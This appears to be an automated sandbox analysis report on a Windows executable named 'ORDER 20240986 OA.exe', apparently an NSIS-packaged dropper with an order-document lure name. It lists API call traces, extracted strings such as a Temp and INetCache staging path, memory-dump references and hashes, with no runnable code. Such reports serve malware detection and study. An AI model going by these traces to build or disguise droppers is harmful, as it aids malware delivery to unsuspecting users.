SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403756
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,00000008,?,00000006,00000008,0000000A), ref: 004037B0
CopyFileW.KERNEL32(C:\Users\user\Desktop\ORDER 20240986 OA.exe,0079F6E0,?,?,00000006,00000008,0000000A), ref: 004037C4
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,00000006,00000008,0000000A), ref: 004037F1
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403820
OpenProcessToken.ADVAPI32(00000000), ref: 00403827
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040383C
AdjustTokenPrivileges.ADVAPI32 ref: 0040385F
ExitWindowsEx.USER32(00000002,80040002), ref: 00403884
ExitProcess.KERNEL32 ref: 004038A7

Strings

UXTHEME, xrefs: 004033BC, 004033C1, 004033C7
SeShutdownPrivilege, xrefs: 00403836
C:\Users\user\AppData\Local\Temp\, xrefs: 004035A4, 004035A9, 004035BF, 004035CB, 004035DA, 004035E7, 004035F3, 004035FB, 00403711, 00403722, 0040372D, 00403739, 00403746, 00403755, 00403806
TEMP, xrefs: 004035F4
Low, xrefs: 004035E2
C:\Users\user\Desktop, xrefs: 00403733, 00403738, 00403765
.tmp, xrefs: 00403728
NSIS Error, xrefs: 0040342E
TMP, xrefs: 004035FC
"C:\Users\user\Desktop\ORDER 20240986 OA.exe", xrefs: 00403443, 00403449, 0040363D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi, xrefs: 004036BD
1033, xrefs: 00403610
\Temp, xrefs: 004035C6
~nsu, xrefs: 0040370C
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403592, 004036B2, 0040375C, 00403766
Error launching installer, xrefs: 00403697
C:\Users\user\Desktop\ORDER 20240986 OA.exe, xrefs: 004037BF

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\ORDER 20240986 OA.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ORDER 20240986 OA.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-1544295190
Opcode ID: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction ID: 91e47d7dade8a9784fbcad93861d46a8301334ec9f5f2e607ded2091cc9dec5c
Opcode Fuzzy Hash: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction Fuzzy Hash: 04D12671600300ABD720BF719D45B2B3AACEB8174AF00887FF981B62D1DB7D8955876E

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C93
GetDlgItem.USER32(?,00000408), ref: 00404C9E
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CE8
LoadBitmapW.USER32(0000006E), ref: 00404CFB
SetWindowLongW.USER32(?,000000FC,00405273), ref: 00404D14
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D28
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D3A
SendMessageW.USER32(?,00001109,00000002), ref: 00404D50
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D5C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D6E
DeleteObject.GDI32(00000000), ref: 00404D71
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D9C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DA8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E3E
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E69
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E7D
GetWindowLongW.USER32(?,000000F0), ref: 00404EAC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EBA
ShowWindow.USER32(?,00000005), ref: 00404ECB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FC8
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040502D
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405042
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405066
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405086
ImageList_Destroy.COMCTL32(?), ref: 0040509B
GlobalFree.KERNEL32(?), ref: 004050AB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405124
SendMessageW.USER32(?,00001102,?,?), ref: 004051CD
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051DC
InvalidateRect.USER32(?,00000000,?), ref: 004051FC
ShowWindow.USER32(?,00000000), ref: 0040524A
GetDlgItem.USER32(?,000003FE), ref: 00405255
ShowWindow.USER32(00000000), ref: 0040525C

Strings

M, xrefs: 00404E25
N, xrefs: 00404F06
, xrefs: 00405234

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction ID: 9d148378a915bf423124f05431c6d1c5c5454a8af56f3bee09cc42272145c63f
Opcode Fuzzy Hash: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction Fuzzy Hash: 59026EB0900209EFEB109F54DD85AAE7BB9FB85314F10817AF610BA2E1D7799E41CF58

Function 6FBB1B63 Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6FBB121B: GlobalAlloc.KERNELBASE(00000040,?,6FBB123B,?,6FBB12DF,00000019,6FBB11BE,-000000A0), ref: 6FBB1225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6FBB1C6F
lstrcpyW.KERNEL32(00000008,?), ref: 6FBB1CB7
lstrcpyW.KERNEL32(00000808,?), ref: 6FBB1CC1
GlobalFree.KERNEL32(00000000), ref: 6FBB1CD4
GlobalFree.KERNEL32(?), ref: 6FBB1DB6
GlobalFree.KERNEL32(?), ref: 6FBB1DBB
GlobalFree.KERNEL32(?), ref: 6FBB1DC0
GlobalFree.KERNEL32(00000000), ref: 6FBB1FAA
lstrcpyW.KERNEL32(?,?), ref: 6FBB2144
GetModuleHandleW.KERNEL32(00000008), ref: 6FBB21B9
LoadLibraryW.KERNEL32(00000008), ref: 6FBB21CA
GetProcAddress.KERNEL32(?,?), ref: 6FBB2224
lstrlenW.KERNEL32(00000808), ref: 6FBB223E

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 06fb74a1144f34e3c4adab433feed309fcd3d8f949e13001721e5f497d49b4c7
Instruction ID: 4d3d67633fbd321724e34ed39483a5a7f53490873ccc458981bf7732e50cac70
Opcode Fuzzy Hash: 06fb74a1144f34e3c4adab433feed309fcd3d8f949e13001721e5f497d49b4c7
Instruction Fuzzy Hash: 8A229971D04689EEDB118FB8E9846FEB7B0FF06315F54462ED1A5E6280DB70A681CB50

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 004059D2
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A1A
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A3D
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A43
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A53
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AF3
FindClose.KERNEL32(00000000), ref: 00405B02

Strings

"C:\Users\user\Desktop\ORDER 20240986 OA.exe", xrefs: 004059A9
\*.*, xrefs: 00405A14
C:\Users\user\AppData\Local\Temp\, xrefs: 004059B7
(?z, xrefs: 00405A02

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\ORDER 20240986 OA.exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-503834662
Opcode ID: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction ID: 8b5db7531a0f4bb83586dba503ceccc8cbbd7972abfd892cd346515476ce1415
Opcode Fuzzy Hash: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction Fuzzy Hash: 7D41D830900918A6CF21AB65CC89ABF7678EF82718F14827FF801B11C1D77C5985DE6E

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,007A4F70,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00405CBD,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004065E5
FindClose.KERNEL32(00000000), ref: 004065F1

Strings

pOz, xrefs: 004065DB
C:\Users\user\AppData\Local\Temp\nsx1318.tmp, xrefs: 004065DA

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsx1318.tmp$pOz
API String ID: 2295610775-2114362763
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: b37c022bec08382a0cb03c9db181d2efdea8b1f21deeb05207148622359d6313
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: EFD01231519020AFC2001B38BD0C84B7A589F463307158B3AB4A6F11E4CB788C6296A9

Function 00404243 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,0040406E), ref: 00404251

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction ID: 5dee82f2d739acac93035fb571c052082ac1606baee7bb158d490297d0aa81d3
Opcode Fuzzy Hash: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction Fuzzy Hash: 99B09236190A00AADE614B40DE49F457A62A7A8701F00C029B240640B0CAB200A0DB09

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D71
ShowWindow.USER32(?), ref: 00403D8E
DestroyWindow.USER32 ref: 00403DA2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DBE
GetDlgItem.USER32(?,?), ref: 00403DDF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DF3
IsWindowEnabled.USER32(00000000), ref: 00403DFA
GetDlgItem.USER32(?,?), ref: 00403EA8
GetDlgItem.USER32(?,00000002), ref: 00403EB2
SetClassLongW.USER32(?,000000F2,?), ref: 00403ECC
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00403F1D
GetDlgItem.USER32(?,00000003), ref: 00403FC3
ShowWindow.USER32(00000000,?), ref: 00403FE4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FF6
EnableWindow.USER32(?,?), ref: 00404011
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404027
EnableMenuItem.USER32(00000000), ref: 0040402E
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404046
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404059
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404083
SetWindowTextW.USER32(?,007A1F20), ref: 00404097
ShowWindow.USER32(?,0000000A), ref: 004041CB

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction ID: db2580999c41c4fe450d1ee4fd1a55221d51bf0aef153e7307bc2b2ec56299a6
Opcode Fuzzy Hash: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction Fuzzy Hash: 3FC1DEB2504200AFDB206F61ED48E2B3AA8EB9A745F01453FF651B11F0CB399991DB5E

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetUserDefaultUILanguage.KERNELBASE(00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000), ref: 004039A1

Part of subcall function 004061DE: wsprintfW.USER32 ref: 004061EB

lstrcatW.KERNEL32(1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000), ref: 00403A08
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A88
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A9B
GetFileAttributesW.KERNEL32(Call), ref: 00403AA6
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne), ref: 00403AEF
RegisterClassW.USER32(007A79C0), ref: 00403B2C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B44
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B79
ShowWindow.USER32(00000005,00000000), ref: 00403BAF
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BDB
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BE8
RegisterClassW.USER32(007A79C0), ref: 00403BF1
DialogBoxParamW.USER32(?,00000000,00403D35,00000000), ref: 00403C10

Strings

.DEFAULT\Control Panel\International, xrefs: 004039F3
RichEdit, xrefs: 00403BE2
RichEd32, xrefs: 00403BC3
.exe, xrefs: 00403A95
C:\Users\user\AppData\Local\Temp\, xrefs: 00403993
RichEdit20W, xrefs: 00403BD3, 00403BD9
Control Panel\Desktop\ResourceLocale, xrefs: 004039BB
"C:\Users\user\Desktop\ORDER 20240986 OA.exe", xrefs: 0040398B
1033, xrefs: 004039A7, 00403A03
Call, xrefs: 00403A4F, 00403A58, 00403A66, 00403AB5, 00403ABB
_Nb, xrefs: 00403B0B, 00403B73
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403A17, 00403A1F, 00403AC2, 00403AC8, 00403AD8
RichEd20, xrefs: 00403BB5

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\ORDER 20240986 OA.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-848720154
Opcode ID: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
